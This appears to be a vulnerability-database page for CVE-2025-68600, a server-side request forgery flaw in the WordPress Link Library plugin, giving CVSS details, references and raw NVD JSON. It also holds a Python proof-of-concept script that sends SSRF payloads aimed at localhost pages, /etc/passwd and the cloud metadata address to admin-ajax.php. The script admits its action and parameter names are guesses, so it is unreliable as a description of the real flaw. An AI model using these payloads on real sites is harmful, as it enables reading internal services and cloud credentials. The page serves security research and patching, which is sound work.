CVE-2025-68600

Description

Server-Side Request Forgery (SSRF) vulnerability in Yannick Lefebvre Link Library link-library allows Server Side Request Forgery.This issue affects Link Library: from n/a through <= 7.8.7.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Link Library <= 7.8.7

Link Library 7.8.4（Patchstack确认版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-68600 SSRF PoC for WordPress Link Library Plugin
# Target: WordPress site with Link Library plugin <= 7.8.7

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'

# SSRF payload to access local resources or internal services
ssrf_payloads = [
    'http://127.0.0.1/admin/',
    'http://localhost/etc/passwd',
    'http://169.254.169.254/latest/meta-data/',
    'file:///etc/passwd'
]

# Typical vulnerable endpoint in Link Library plugin
vulnerable_endpoint = f'{target}/wp-admin/admin-ajax.php'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'SSRF-Test-Client/1.0'
}

print(f'[*] Testing CVE-2025-68600 SSRF on {target}')
print(f'[*] Target endpoint: {vulnerable_endpoint}')

# Authenticated low-privilege user required (subscriber role or higher)
cookies = {
    'wordpress_test_cookie': 'WP+Cookie+check',
    # Add valid WordPress session cookie here
}

for payload in ssrf_payloads:
    print(f'\n[*] Testing payload: {payload}')
    
    # Common parameter names in Link Library that might be vulnerable
    data = {
        'action': 'link_library_fetch',
        'url': payload,
        'link_id': '1'
    }
    
    try:
        response = requests.post(
            vulnerable_endpoint,
            data=data,
            headers=headers,
            cookies=cookies,
            timeout=10,
            verify=False
        )
        
        print(f'[+] Status Code: {response.status_code}')
        print(f'[+] Response Length: {len(response.text)} bytes')
        
        if response.status_code == 200 and len(response.text) > 0:
            print(f'[+] Potential SSRF confirmed - Response received')
            print(f'    First 200 chars: {response.text[:200]}')
            
    except requests.exceptions.RequestException as e:
        print(f'[-] Request failed: {e}')

print('\n[*] PoC execution completed')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68600
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68600
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68600/
[4] VulDB https://vuldb.com/cve/CVE-2025-68600
[5] https://patchstack.com/database/Wordpress/Plugin/link-library/vulnerability/wordpress-link-library-plugin-7-8-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68600", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:27.530", "lastModified": "2026-04-27T19:16:35.787", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Yannick Lefebvre Link Library link-library allows Server Side Request Forgery.This issue affects Link Library: from n/a through <= 7.8.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/link-library/vulnerability/wordpress-link-library-plugin-7-8-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}